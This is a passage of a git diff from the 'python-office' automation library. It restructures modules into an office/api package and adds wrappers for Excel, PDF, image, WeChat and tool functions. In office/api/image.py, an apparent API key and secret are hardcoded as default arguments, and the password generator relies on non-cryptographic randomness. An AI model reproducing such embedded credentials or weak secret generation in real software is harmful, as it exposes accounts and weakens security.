# 若是文件，则将该查询到的文件所在路径插入 final_result 空列表 - try: - with open(file_path, 'r') as file: # 利用 open() 函数读取文件，并通过 try...except... 捕获不可读的文件格式（.zip 格式） - if content in file.read(): - print('该文件内，包含：【{}】'.format(content) + ' | ' * 2 + file_path) - except: - continue diff --git a/core/ToolsType.py b/core/ToolsType.py deleted file mode 100644 index b7203201adda0e34206ba3a38fd2f5d345d990cc..0000000000000000000000000000000000000000 --- a/core/ToolsType.py +++ /dev/null @@ -1,64 +0,0 @@ -from translate import Translator -import qrcode -import string -import random -import socket - -from lib.tools.weather_city_code import WEATHER_CITY_CODE_DIC -from lib.tools.weather_service import weather_spider -# from utils.tools.weather_city_code import WEATHER_CITY_CODE_DIC - - -class MainTools(): - - def transtools(self, to_lang, content): - # specifying the language - translator = Translator(to_lang) - # typing the message - translation = translator.translate(content) - # print the translated message - print(translation) - - def qrcodetools(self, url): - # Creating object - # version: defines size of image from integer(1 to 40), box_size = size of each box in pixels, border = thickness of the border. - qr = qrcode.QRCode(version=1, box_size=10, border=5) - # add_date : pass the input text - qr.add_data(url) - # converting into image - qr.make(fit=True) - # specify the foreground and background color for the img - img = qr.make_image(fill='black', back_color='white') - # store the image - img.save('qrcode_img.png') - - def passwordtools(self, len): - """ - @Author & Date : CoderWanFeng 2022/5/9 11:54 - @Desc : 随机密码生成器，默认是8位 - @Return ： - """ - chars = string.digits + string.ascii_letters - return ''.join(random.sample(chars * 10, len)) - - def weather(self): - headers = { - 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7' - } - while (True): - try: - cityName = input('请输入城市名称(按q/Q键退出)：') - if cityName == 'q' or cityName == 'Q': - break - cityCode = WEATHER_CITY_CODE_DIC[cityName] # 得到城市代码 - url = 'http://www.weather.com.cn/weather1d/%d.shtml' % cityCode # 得到城市天气网址 - weather_spider(url, headers) - except: - print('未查到%s城市，请重新输入：' % cityName) - - - # 通过url，获取ip地址 - def url2ip(self,url): - socket_list = socket.getaddrinfo(url, None, 0, socket.SOCK_STREAM) - ip_info = socket_list[0][4][0] - print('【{}】 这个网址对应的IP地址是：{}'.format(url, ip_info)) \ No newline at end of file diff --git a/core/VideoType.py b/core/VideoType.py deleted file mode 100644 index e8ff03c309262d7257badb2ba621383db53805ec..0000000000000000000000000000000000000000 --- a/core/VideoType.py +++ /dev/null @@ -1,20 +0,0 @@ -import moviepy.editor as mp - - -class MainVideo(): - - # 从视频里提取音频 - def video2mp3(self, path, mp3_name): - """ - :param path: 视频文件的路径 - :param mp3_name: mp3的名字，可以为空 - :return: - """ - # specify the mp4 file here(mention the file path if it is in different directory) - clip = mp.VideoFileClip(path) - if mp3_name: - clip.audio.write_audiofile(str(mp3_name) + '.mp3') - else: - # specify the name for mp3 extracted - clip.audio.write_audiofile('Audio.mp3') - # you will notice mp3 file will be created at the specified location. diff --git a/core/WordType.py b/core/WordType.py deleted file mode 100644 index e0526fbe6951992df3cb244072234f88a8dccb94..0000000000000000000000000000000000000000 --- a/core/WordType.py +++ /dev/null @@ -1,40 +0,0 @@ -import os -from win32com.client import constants, gencache - - -class MainWord(): - - def file2pdf(self, path, docxSuffix=".docx"): - wordFiles = [] - # 如果不存在，则不做处理 - if not os.path.exists(path): - print("path does not exist path = " + path) - return - # 判断是否是文件 - elif os.path.isfile(path): - print("path file type is file " + path) - wordFiles.append(path) - # 如果是目录，则遍历目录下面的文件 - elif os.path.isdir(path): - print(os.listdir(path)) - # 填充路径，补充完整路径 - if not path.endswith("/") or not path.endswith("\\"): - path = path + "/" - for file in os.listdir(path): - if file.endswith(docxSuffix): - wordFiles.append(path + file) - print(wordFiles) - for file in wordFiles: - filepath = os.path.abspath(file) - index = filepath.rindex('.') - pdfPath = filepath[:index] + '.pdf' - print(pdfPath) - self.createpdf(filepath, pdfPath) - - - def createpdf(self,wordPath, pdfPath): - word = gencache.EnsureDispatch('Word.Application') - doc = word.Documents.Open(wordPath, ReadOnly=1) - # 转换方法 - doc.ExportAsFixedFormat(pdfPath, constants.wdExportFormatPDF) - word.Quit() diff --git a/core/__init__.py b/core/__init__.py deleted file mode 100644 index 1e136c6c4c536ecd5ca2a08b7eca93b33dbb5dfb..0000000000000000000000000000000000000000 --- a/core/__init__.py +++ /dev/null @@ -1 +0,0 @@ -from . import * diff --git a/docs/allpackages.txt b/docs/allpackages.txt new file mode 100644 index 0000000000000000000000000000000000000000..1aa3812d552550e62b6561b420985ac88bfdbee1 --- /dev/null +++ b/docs/allpackages.txt @@ -0,0 +1,61 @@ +about-time==3.1.1 +alive-progress==2.4.1 +atomicwrites==1.4.0 +attrs==21.4.0 +certifi==2022.6.15 +charset-normalizer==2.0.12 +click==8.1.3 +colorama==0.4.4 +commonmark==0.9.1 +decorator==4.4.2 +et-xmlfile==1.1.0 +Faker==13.13.0 +fire==0.4.0 +fonttools==4.33.3 +fpdf==1.7.2 +grapheme==0.6.0 +idna==3.3 +imageio==2.19.3 +imageio-ffmpeg==0.4.7 +iniconfig==1.1.1 +libretranslatepy==2.1.1 +lxml==4.9.0 +moviepy==1.0.3 +numpy==1.22.4 +opencv-python==4.6.0.66 +openpyxl==3.0.10 +packaging==21.3 +pandas==1.4.2 +pdf2docx==0.5.3 +pikepdf==5.1.5 +Pillow==9.1.1 +pluggy==1.0.0 +proglog==0.1.10 +progress==1.6 +py==1.11.0 +Pygments==2.12.0 +PyMuPDF==1.19.6 +pyparsing==3.0.9 +PyPDF2==2.2.0 +python-dateutil==2.8.2 +python-docx==0.8.11 +python-pptx==0.6.21 +pytz==2022.1 +pywin32==304 +qrcode==7.3.1 +reportlab==3.6.10 +requests==2.28.0 +rich==12.4.4 +six==1.16.0 +termcolor==1.1.0 +tomli==2.0.1 +tqdm==4.64.0 +translate==3.6.1 +typer==0.4.1 +typing_extensions==4.2.0 +urllib3==1.26.9 +xlrd==2.0.1 +XlsxWriter==3.0.3 +xlutils==2.0.0 +xlwings==0.27.10 +xlwt==1.3.0 diff --git a/docs/html/404.html b/docs/html/404.html new file mode 100644 index 0000000000000000000000000000000000000000..10f4b33fc0459f36e190f2fad4dd87787eb1c04a --- /dev/null +++ b/docs/html/404.html @@ -0,0 +1,252 @@ + + + + + + + + 404 NOT FOUND - qian.blue + + + + +
+
+
+
+
+
+
+
+ + +
+
+
+ + + + + \ No newline at end of file diff --git "a/docs/python-office \350\207\252\345\212\250\345\214\226\345\212\236\345\205\254.xmind" "b/docs/python-office \350\207\252\345\212\250\345\214\226\345\212\236\345\205\254.xmind" new file mode 100644 index 0000000000000000000000000000000000000000..2f60f7df7e0be2cfea33a2f8c24abf28925d2d25 Binary files /dev/null and "b/docs/python-office \350\207\252\345\212\250\345\214\226\345\212\236\345\205\254.xmind" differ diff --git a/docs/tree.txt b/docs/tree.txt new file mode 100644 index 0000000000000000000000000000000000000000..1b07e06e329924ff56b783446c434a0c7a16cbb5 --- /dev/null +++ b/docs/tree.txt @@ -0,0 +1,22 @@ +ļ PATH б +кΪ 000000AB 0B25:163E +D:\DOWNLOAD\YOU-GET\HIGH-PY\PYTHON-OFFICE +.idea + inspectionProfiles + shelf +cli +contributors + demo +core +docs +lib + image + pdf + ppt + tools + utils +office +script +tests +venv + diff --git a/office/__init__.py b/office/__init__.py index 3b11667b8a11269128ee08ca824f1dacad25ede9..c72ce48d513d1552cd00ccf5386c65114233c8af 100644 --- a/office/__init__.py +++ b/office/__init__.py @@ -1,15 +1,19 @@ -from . import word -from . import pdf -from . import image -from . import file -from . import video -from . import tools -from . import ppt -from . import excel +from office.api import word +from office.api import pdf +from office.api import image +from office.api import file +from office.api import video +from office.api import tools +from office.api import ppt +from office.api import excel +from office.api import wechat +# 以下是beta版本 +from office.api.testApi import ruiming print('=' * 30) print('【python-office库】，功能持续更新中') -print( '全部功能文档：http://www.python4office.cn/python-office/profile/') print('使用有问题 or 提交你的功能需求 or 参与项目开发') -print('请加入【项目交流群】： http://www.python4office.cn/images/python-office.jpg') +print('1、全部功能【视频 & 文字】教程：https://www.python-office.com/') +print('2、请+【项目交流群】：http://t.cn/A6SSrID0') +print('3、本开源项目的【代码仓库】：https://github.com/CoderWanFeng/python-office') print('=' * 30) diff --git a/cli/__init__.py b/office/api/__init__.py similarity index 100% rename from cli/__init__.py rename to office/api/__init__.py diff --git a/office/email.py b/office/api/email.py similarity index 100% rename from office/email.py rename to office/api/email.py diff --git a/office/api/excel.py b/office/api/excel.py new file mode 100644 index 0000000000000000000000000000000000000000..1bd18a61154f0e12cb3fe961670b86952e40c422 --- /dev/null +++ b/office/api/excel.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python +# -*- coding:utf-8 -*- + +############################################# +# File Name: excel.py +# Mail: 1957875073@qq.com +# Created Time: 2022-4-25 10:17:34 +# Description: 有关 excel 的自动化操作 +############################################# +# from office.core.ExcelType import MainExcel +# mainExcel = MainExcel() + +import poexcel + + +# todo:输出文件路径 +# @except_dec() +def fake2excel(columns=['name'], rows=1, path='./fake2excel.xlsx', language='zh_CN'): + poexcel.fake2excel(columns, rows, path, language) + + +# 多个excel，合并到一个excel的不同sheet中 +# @except_dec() +def merge2excel(dir_path, output_file='merge2excel.xlsx'): + """ + :param dir_path: + :param output_file: + :return: + """ + poexcel.merge2excel(dir_path, output_file) + + +# 同一个excel里的不同sheet，拆分为不同的excel文件 +# @except_dec() +def sheet2excel(file_path, output_path='./'): + poexcel.sheet2excel(file_path, output_path) + + +# @except_dec() +def merge2sheet(dir_path, output_sheet_name: str = 'Sheet1', output_excel_name: str = 'merge2sheet'): + poexcel.merge2sheet(dir_path, output_sheet_name, output_excel_name) + + +# 搜索excel中指定内容的文件、行数、内容详情 +# PR内容 & 作者：https://gitee.com/CoderWanFeng/python-office/pulls/10 +# @except_dec() +def find_excel_data(search_key: str, target_dir: str): + poexcel.find_excel_data(search_key, target_dir) + + +# 按指定列的内容，拆分excel +# PR内容 & 作者：：https://gitee.com/CoderWanFeng/python-office/pulls/11 +# @except_dec() +def split_excel_by_column(filepath: str, column: int, worksheet_name: str = None): + poexcel.split_excel_by_column(filepath, column, worksheet_name) diff --git a/office/api/file.py b/office/api/file.py new file mode 100644 index 0000000000000000000000000000000000000000..3b3be2c830e752816bced623a85b38ed9e7ff962 --- /dev/null +++ b/office/api/file.py @@ -0,0 +1,56 @@ +#!/usr/bin/env python +# -*- coding:utf-8 -*- + +############################################# +# File Name: 文件.py +# Mail: 1957875073@qq.com +# Created Time: 2022-4-25 10:17:34 +# Description: 有关 文件 的自动化操作 +############################################# +# from office.lib.utils.except_utils import except_dec +# from office.core.FileType import pofile +# from office.core.SearchByContentType import MainSearchByContent + +# pofile = pofile() +# mainSearchByContent = MainSearchByContent() +import pofile + +# todo：输入文件路径 +# @except_dec() +def replace4filename(path, del_content, replace_content=None): + pofile.replace4filename(path, del_content, replace_content) + + +# todo：输入文件路径 +# @except_dec() +def search_by_content(search_path, content): # 定义 search() 函数，传入 "path" 文件路径， "target" 要查找的目标文件 + pofile.search_by_content(search_path, content) + + +# author：https://github.com/CoderWanFeng/python-office/pull/72 +# @except_dec() +def file_name_insert_content(file_path, insert_position: int, insert_content: str): + pofile.file_name_insert_content(file_path, insert_position, insert_content) + + +# author：https://github.com/CoderWanFeng/python-office/pull/72 +# @except_dec() +def file_name_add_prefix(file_path, prefix_content): + pofile.file_name_add_prefix(file_path, prefix_content) + + +# author：https://github.com/CoderWanFeng/python-office/pull/72 +# @except_dec() +def file_name_add_postfix(file_path, postfix_content): + pofile.file_name_add_postfix(file_path, postfix_content) + + +# author：https://github.com/CoderWanFeng/python-office/pull/74 +# @except_dec() +def search_specify_type_file(file_path, file_type): + pofile.search_specify_type_file(file_path, file_type) + + +# @except_dec() +def output_file_list_to_excel(dir_path): + pofile.output_file_list_to_excel(dir_path) diff --git a/office/api/image.py b/office/api/image.py new file mode 100644 index 0000000000000000000000000000000000000000..03444e010d3aa2c9e3bc24dfbb9fd969689a81e0 --- /dev/null +++ b/office/api/image.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python +# -*- coding:utf-8 -*- + +############################################# +# File Name: 图片.py +# Mail: 1957875073@qq.com +# Created Time: 2022-4-25 10:17:34 +# Description: 有关 图片 的自动化操作 +############################################# +import poimage + + +# from office.core.ImageType import MainImage +# from office.lib.utils.except_utils import except_dec + +# mainImage = MainImage() + + +# @except_dec() +def image2gif(): + poimage.image2gif() + + +# todo：输出文件路径 +# @except_dec() +def add_watermark(file, mark, output_path=r'./', out="mark_img", color="#8B8B1B", size=30, opacity=0.15, space=75, + angle=30): + poimage.add_watermark(file, mark, output_path, out, color, size, opacity, space, angle) + # mainImage.add_watermark(file, mark, out, color, size, opacity, space, angle) + + +# todo：输入文件路径 +# @except_dec() +def img2Cartoon(path, client_api='OVALewIvPyLmiNITnceIhrYf', client_secret='rpBQH8WuXP4ldRQo5tbDkv3t0VgzwvCN'): + poimage.img2Cartoon(path, client_api, client_secret) + # mainImage.img2Cartoon(path, client_api, client_secret) + + +# @except_dec() +def down4img(url, output_path='.', output_name='down4img', type='jpg'): + poimage.down4img(url, output_path, output_name, type) + # mainImage.down4img(url, output_name, type) + + +def txt2wordcloud(filename, color="white", result_file="your_wordcloud.png"): + poimage.txt2wordcloud(filename, color, result_file) + + +def pencil4img(input_img, output_path='./', output_name='pencil4img.jpg'): + poimage.pencil4img(input_img, output_path, output_name) + + +def decode_qrcode(qrcode_path): + """ + 解析二维码 + :param qrcode_path: 二维码图片的路径 + :return: + """ + poimage.decode_qrcode(qrcode_path) diff --git a/office/api/markdown.py b/office/api/markdown.py new file mode 100644 index 0000000000000000000000000000000000000000..8fb3a741becfb5bd5da5b6d1c5d9351dc9d0cfba --- /dev/null +++ b/office/api/markdown.py @@ -0,0 +1,14 @@ +# from office.core.MarkdownType import MainMarkdown +# from office.lib.utils.except_utils import except_dec +# +# mainMarkdown = MainMarkdown() +# +# +# # @except_dec() +# def markdown_link_image_to_base64(markdown_path): +# mainMarkdown.markdown_link_image_to_base64(markdown_path) +# +# +# # @except_dec() +# def check_local_dir_image_link_markdown(markdown_path, image_path): +# mainMarkdown.check_local_dir_image_link_markdown(markdown_path, image_path) \ No newline at end of file diff --git a/office/ocr.py b/office/api/ocr.py similarity index 100% rename from office/ocr.py rename to office/api/ocr.py diff --git a/office/api/pdf.py b/office/api/pdf.py new file mode 100644 index 0000000000000000000000000000000000000000..03b459cfaec6497b12fd833f59e8dcaa502ea6d9 --- /dev/null +++ b/office/api/pdf.py @@ -0,0 +1,66 @@ +# -*- coding: utf-8 -*- + + +# popdf = popdf() + + +# 给pdf加水印-无参数 +# @except_dec() +import popdf + + +def add_watermark() -> None: + popdf.add_watermark() + + +# 给pdf加水印-有参数 +# @except_dec() +def add_watermark_by_parameters(pdf_file, mark_str, output_file_name='添加了水印的文件.pdf') -> None: + """ + 必填参数： + pdf_file:pdf的位置，例如：d:/code/程序员晚枫.pdf + mark_str:需要添加的水印内容，例如：百度一下：程序员晚枫 + 选填参数： + output_file_name：指定添加了水印的文件名称，可以不指定，默认是：添加了水印的文件.pdf + """ + popdf.add_watermark_by_parameters(pdf_file, mark_str, output_file_name) + + +# txt转pdf +# @except_dec() +def txt2pdf(path: str, res_pdf='txt2pdf.pdf'): + popdf.file2pdf(path, res_pdf) + + +# PDF加密 +# @except_dec() +def encrypt4pdf(path, password, res_pdf='encrypt.pdf'): + popdf.encrypt4pdf(path, password, res_pdf) + + +# PDF解密 +# @except_dec() +def decrypt4pdf(path, password, res_pdf='decrypt.pdf'): + popdf.decrypt4pdf(path, password, res_pdf) + + +# 合并pdf +# @except_dec() +def merge2pdf(one_by_one, output): + popdf.merge2pdf(one_by_one, output) + + +# todo：输入文件路径 +# @except_dec() +def pdf2docx(file_path, output_path='.'): + popdf.pdf2docx(file_path, output_path) + + +# @except_dec() +def pdf2imgs(pdf_path, out_dir): + popdf.pdf2imgs(pdf_path, out_dir) + + +# @except_dec() +def add_img_water(pdf_file_in, pdf_file_mark, pdf_file_out): + popdf.add_img_water(pdf_file_in, pdf_file_mark, pdf_file_out) diff --git a/office/ppt.py b/office/api/ppt.py similarity index 54% rename from office/ppt.py rename to office/api/ppt.py index ebc4fa5074fb38b076a4725deac1cbdbcb2764e0..415f9d1a94430400aa8af4bea354a51bdf744ce1 100644 --- a/office/ppt.py +++ b/office/api/ppt.py @@ -7,10 +7,13 @@ # Created Time: 2022-4-25 10:17:34 # Description: 有关 ppt 的自动化操作 ############################################# -from core.PPTType import MainPPT +# from office.lib.utils.except_utils import except_dec +# from office.core.PPTType import MainPPT -mainPPT = MainPPT() +# mainPPT = MainPPT() - -def ppt2pdf(path): - mainPPT.ppt2pdf(path) +import poppt +# todo：输入文件路径 +# @except_dec() +def ppt2pdf(path: str): + poppt.ppt2pdf(path) diff --git a/office/api/testApi/__init__.py b/office/api/testApi/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/office/api/testApi/ruiming.py b/office/api/testApi/ruiming.py new file mode 100644 index 0000000000000000000000000000000000000000..53bfeb5d5552a83f9cdb4ca23595a0b4db0482d2 --- /dev/null +++ b/office/api/testApi/ruiming.py @@ -0,0 +1,19 @@ +from office.core.TestTypes.RuimingType import MainRuiming +from office.lib.utils.except_utils import except_dec + +ruiming = MainRuiming() + + +# @except_dec() +def screen_unmarked_image(dir_path): + ruiming.screen_unmarked_image(dir_path) + + +# @except_dec() +def change_label_in_xml(dir_path, old_label, new_label): + ruiming.change_label_in_xml(dir_path, old_label, new_label) + + +# @except_dec() +def screen_without_label_json_file(dir_path): + ruiming.screen_without_label_json_file(dir_path) \ No newline at end of file diff --git a/office/api/tools.py b/office/api/tools.py new file mode 100644 index 0000000000000000000000000000000000000000..387afeb9e235599d551f127028512d3d2ce9b49d --- /dev/null +++ b/office/api/tools.py @@ -0,0 +1,52 @@ +from office.lib.utils.except_utils import except_dec + +# from office.core.ToolsType import wftools + +# wftools = wftools() + +import wftools + +# @except_dec() +def transtools(to_lang, content): + wftools.transtools(to_lang, content) + + +# @except_dec() +def qrcodetools(url): + wftools.qrcodetools(url) + + +# @except_dec() +def passwordtools(len=8): + wftools.passwordtools(len) + + +# @except_dec() +def weather(): + wftools.weather() + + +# 通过url，获取ip地址 +# # @except_dec() +def url2ip(url): + wftools.url2ip(url) + + +# 通过url，获取ip地址 +# @except_dec() +def lottery8ticket(): + wftools.lottery8ticket() + + +# @except_dec() +def create_article(theme, line_num=200): + wftools.create_article(theme, line_num) + + +# @except_dec() +def pwd4wifi(len_pwd=8, pwd_list=[]): + wftools.pwd4wifi(len_pwd, pwd_list) + +# 测试网速 +def net_speed_test(): + wftools.net_speed_test() \ No newline at end of file diff --git a/office/api/video.py b/office/api/video.py new file mode 100644 index 0000000000000000000000000000000000000000..24ebcfdf15aa2c3c0a9049ccc3e1d8c4b4041399 --- /dev/null +++ b/office/api/video.py @@ -0,0 +1,14 @@ +# from office.core.VideoType import MainVideo +# mainVideo = MainVideo() +import povideo + + +# 从视频里提取音频 +def video2mp3(path, mp3_name=None, output_path=r'./'): + povideo.video2mp3(path, mp3_name, output_path) + + +# 从音频里，提取文字 +# 本地语音文件不能大于5MB +def audio2txt(audio_path, appid, secret_id, secret_key): + povideo.audio2txt(audio_path, appid, secret_id, secret_key) diff --git a/office/web.py b/office/api/web.py similarity index 100% rename from office/web.py rename to office/api/web.py diff --git a/office/api/wechat.py b/office/api/wechat.py new file mode 100644 index 0000000000000000000000000000000000000000..4331d656cce93d886ab8eb0ff248fa7e75b45f78 --- /dev/null +++ b/office/api/wechat.py @@ -0,0 +1,23 @@ +import PyOfficeRobot + + +def send_message(who, message): + PyOfficeRobot.chat.send_message(who, message) + +def send_message_by_time(who, message, time): + PyOfficeRobot.chat.send_message_by_time(who, message, time) + +def chat_by_keywords(who, keywords): + PyOfficeRobot.chat.chat_by_keywords(who, keywords) + + +def send_file(who, file): + PyOfficeRobot.file.send_file(who, file) + + +# 保存指定人的消息 +# BY：盖飞 +def receive_message(who='文件传输助手', txt='userMessage.txt', output_path='./'): + PyOfficeRobot.chat.receive_message(who, txt, output_path) + + diff --git a/office/word.py b/office/api/word.py similarity index 65% rename from office/word.py rename to office/api/word.py index d253d515eb3b9c5a6494511678007acbbde85e08..867cc72861a4bbbd02e86a2a627bbea470c6d211 100644 --- a/office/word.py +++ b/office/api/word.py @@ -3,19 +3,21 @@ ############################################# # File Name: word.py -# Author: 程序员晚枫 +# 公众号/B站/小红书/抖音: 程序员晚枫 # Mail: 1957875073@qq.com # Created Time: 2022-4-25 10:17:34 # Description: 有关word的自动化操作 ############################################# -from core.WordType import MainWord +# from office.lib.utils.except_utils import except_dec +# from office.core.WordType import MainWord # 创建对象 -mainWord = MainWord() - +# mainWord = MainWord() +import poword # 1、文件的批量转换 # 自己指定路径， # 为了适配wps不能转换doc的问题，这里限定：只能转换docx +# @except_dec() def docx2pdf(path): - mainWord.file2pdf(path) + poword.docx2pdf(path) diff --git a/office/cli/__init__.py b/office/cli/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/cli/main.py b/office/cli/main.py similarity index 100% rename from cli/main.py rename to office/cli/main.py diff --git a/office/core/TestTypes/RuimingType.py b/office/core/TestTypes/RuimingType.py new file mode 100644 index 0000000000000000000000000000000000000000..57a37abf78c4d5d86eb875c0911c55975df388c7 --- /dev/null +++ b/office/core/TestTypes/RuimingType.py @@ -0,0 +1,91 @@ +import pathlib +import shutil +import xml.etree.ElementTree +import json + + +class MainRuiming(): + def __make_dir(self, dir_path, dir_name): + """ + + :param dir_path: 准备新建的位置 + :param dir_name: 新建文件夹的名称 + """ + new_dir_path = dir_path.joinpath(dir_name) + if not new_dir_path.is_dir(): + new_dir_path.mkdir() + elif list(new_dir_path.iterdir()) != []: + exit("目录\"" + str(new_dir_path) + "\"存在且不为空，请检查！") + + def screen_unmarked_image(self, dir_path, image_name_extension: str = ".jpg", + marked_file_name_extension: str = ".xml"): + """ + + :param dir_path: 图片及标注文件的存放路径 + :param image_name_extension: 图片文件的后缀，默认为.jpg + :param marked_file_name_extension: 标注文件的后缀，默认为.xml + """ + dir_path = pathlib.Path(dir_path).resolve() + if dir_path.is_dir(): + unmarked_image_storage_path = dir_path.joinpath("未标注图片") + self.__make_dir(dir_path, "未标注图片") + image_name_root_set = set() + marked_file_name_root_set = set() + # 创建集合 + dir_path_file_list = list(dir_path.iterdir()) + for file_name in dir_path_file_list: + # 按文件类型添加文件名到对应的集合 + if file_name.is_file(): + if file_name.suffix == image_name_extension: + image_name_root_set.add(file_name.name.replace(image_name_extension, "")) + if file_name.suffix == marked_file_name_extension: + marked_file_name_root_set.add(file_name.name.replace(marked_file_name_extension, "")) + unmarked_image_list = list(image_name_root_set - marked_file_name_root_set) + for i in unmarked_image_list: + shutil.move(dir_path.joinpath(i + image_name_extension), + unmarked_image_storage_path.joinpath(i + image_name_extension)) + print("筛选完成") + else: + print("路径输入有误，请检查！") + + def change_label_in_xml(self, dir_path, old_label, new_label): + """ + + :param dir_path: 图片及标注文件的存放路径 + :param old_label: 需要修改的标签 + :param new_label: 修改后的标签 + """ + dir_path = pathlib.Path(dir_path).resolve() + if dir_path.is_dir(): + file_list = list(dir_path.iterdir()) + for file in file_list: + if file.suffix == ".xml": + xml_file = xml.etree.ElementTree.parse(str(file)) + xml_root = xml_file.getroot() + label_xpath = "./object/name" + label_list = xml_root.findall(label_xpath) + for label in label_list: + if label.text == old_label: + label.text = new_label + xml_file.write(str(file), encoding="utf-8") + else: + print("请输入正确的路径！") + + def screen_without_label_json_file(self, dir_path): + dir_path = pathlib.Path(dir_path).resolve() + if dir_path.is_dir(): + print("正在筛选无标签内容的json文件") + without_label_json_storage_path = dir_path.joinpath("无标签json文件") + self.__make_dir(dir_path, "无标签json文件") + dir_path_file_list = list(dir_path.iterdir()) + for file_name in dir_path_file_list: + if file_name.is_file() and file_name.suffix == ".json": + json_file = open(file_name, "r") + json_file_text = json.load(json_file) + json_file.close() + if json_file_text["shapes"] == []: + shutil.move(dir_path.joinpath(file_name.name), + without_label_json_storage_path.joinpath(file_name.name)) + print("筛选完成") + else: + print("路径输入有误，请检查！") diff --git a/office/core/TestTypes/__init__.py b/office/core/TestTypes/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/office/core/__init__.py b/office/core/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/office/excel.py b/office/excel.py deleted file mode 100644 index 813a855c1a354fcce9b14bc4a2f6d0ecab3e2af8..0000000000000000000000000000000000000000 --- a/office/excel.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# -*- coding:utf-8 -*- - -############################################# -# File Name: excel.py -# Mail: 1957875073@qq.com -# Created Time: 2022-4-25 10:17:34 -# Description: 有关 excel 的自动化操作 -############################################# -from core.ExcelType import MainExcel - -mainExcel = MainExcel() - - -def fake2excel(columns=['name'], rows=1, language='zh_CN', path='./fake2excel.xlsx'): - mainExcel.fake2excel(columns, rows, language, path) diff --git a/office/file.py b/office/file.py deleted file mode 100644 index 51539e9b531eeaa6036b07e1e57f7e3450fe6940..0000000000000000000000000000000000000000 --- a/office/file.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python -# -*- coding:utf-8 -*- - -############################################# -# File Name: 文件.py -# Mail: 1957875073@qq.com -# Created Time: 2022-4-25 10:17:34 -# Description: 有关 文件 的自动化操作 -############################################# -from core.FileType import MainFile -from core.SearchByContentType import MainSearchByContent - -mainFile = MainFile() -mainSearchByContent = MainSearchByContent() - - -def replace4filename(path, del_content, replace_content=None): - mainFile.replace4filename(path, del_content, replace_content) - - -def search_by_content(search_path, content): # 定义 search() 函数，传入 "path" 文件路径， "target" 要查找的目标文件 - mainSearchByContent.search_by_content(search_path, content) diff --git a/office/image.py b/office/image.py deleted file mode 100644 index 6604fe6a202dc8a3aa0e502aeda972af8c0b6158..0000000000000000000000000000000000000000 --- a/office/image.py +++ /dev/null @@ -1,20 +0,0 @@ -#!/usr/bin/env python -# -*- coding:utf-8 -*- - -############################################# -# File Name: 图片.py -# Mail: 1957875073@qq.com -# Created Time: 2022-4-25 10:17:34 -# Description: 有关 图片 的自动化操作 -############################################# -from core.ImageType import MainImage - -mainImage = MainImage() - - -def image2gif(): - mainImage.image2gif() - - -def add_watermark(file, mark, out="output", color="#8B8B1B", size=30, opacity=0.15, space=75, angle=30): - mainImage.add_watermark(file, mark, out, color, size, opacity, space, angle) diff --git a/office/lib/__init__.py b/office/lib/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/office/lib/excel/SplitExcel.py b/office/lib/excel/SplitExcel.py new file mode 100644 index 0000000000000000000000000000000000000000..e7c0ce35a88844315d1c883af92482ef92afa085 --- /dev/null +++ b/office/lib/excel/SplitExcel.py @@ -0,0 +1,95 @@ +import os +import xlrd, xlwt +import openpyxl +import datetime + + +# + +def generate_xls(filepath: str, worksheet_data: dict): + datetime_str = datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S') + new_filepath = filepath.replace('.xls', '_Split_{}.xls'.format(datetime_str)) + new_workbook = xlwt.Workbook(encoding='utf-8') + for worksheet_name, row_data_list in worksheet_data.items(): + new_worksheet = new_workbook.add_sheet(worksheet_name) + for row_index, row_data in enumerate(row_data_list): + for column_index, data in enumerate(row_data): + new_worksheet.write(row_index, column_index, data) + new_workbook.save(new_filepath) + return new_filepath + + +def process_xls(filepath, column: int, worksheet_name: str = None): + try: + workbook = xlrd.open_workbook(filepath, formatting_info=True) + except: + return "文件读取异常：{}".format(filepath) + if worksheet_name: + worksheet = workbook.sheet_by_name(worksheet_name) + else: + worksheet = workbook.sheet_by_index(0) + rows = worksheet.nrows + cols = worksheet.ncols + split_data_dict = {} + for r in tqdm(range(rows)): + row_data = [worksheet.cell(r, c).value if worksheet.cell(r, c).value else ' ' for c in range(cols)] + temp_data = row_data[column - 1] + temp_data_list = split_data_dict.get(temp_data, []) + temp_data_list.append(row_data) + split_data_dict[temp_data] = temp_data_list + new_filepath = generate_xls(filepath, split_data_dict) + return "数据保存在新文件中，文件名：{}".format(new_filepath) + + +def generate_xlsx(filepath: str, worksheet_data: dict): + datetime_str = datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S') + new_filepath = filepath.replace('.xlsx', '_Split_{}.xlsx'.format(datetime_str)) + new_workbook = openpyxl.Workbook() + for worksheet_name, row_data_list in worksheet_data.items(): + new_worksheet = new_workbook.create_sheet(worksheet_name) + for row_data in row_data_list: + new_worksheet.append(row_data) + new_workbook.save(new_filepath) + return new_filepath + + +def process_xlsx(filepath: str, column: int, worksheet_name: str = None): + try: + workbook = openpyxl.load_workbook(filepath, read_only=True, data_only=True) + except: + return "文件读取异常：{}".format(filepath) + if worksheet_name: + worksheet = workbook.get_sheet_by_name(worksheet_name) + else: + worksheet = workbook.active + if worksheet.max_column < column: + return "最大列数是{}，取不到第{}列".format(worksheet.max_column, column) + + split_data_dict = {} + for row in worksheet.rows: + row_data = [cell.value if cell.value else ' ' for cell in row] + temp_data = row_data[column - 1] + temp_data_list = split_data_dict.get(temp_data, []) + temp_data_list.append(row_data) + split_data_dict[temp_data] = temp_data_list + new_filepath = generate_xlsx(filepath, split_data_dict) + return "数据保存在新文件中，文件名：{}".format(new_filepath) + + +def split_excel_by_column(filepath: str, column: int, worksheet_name: str = None): + if 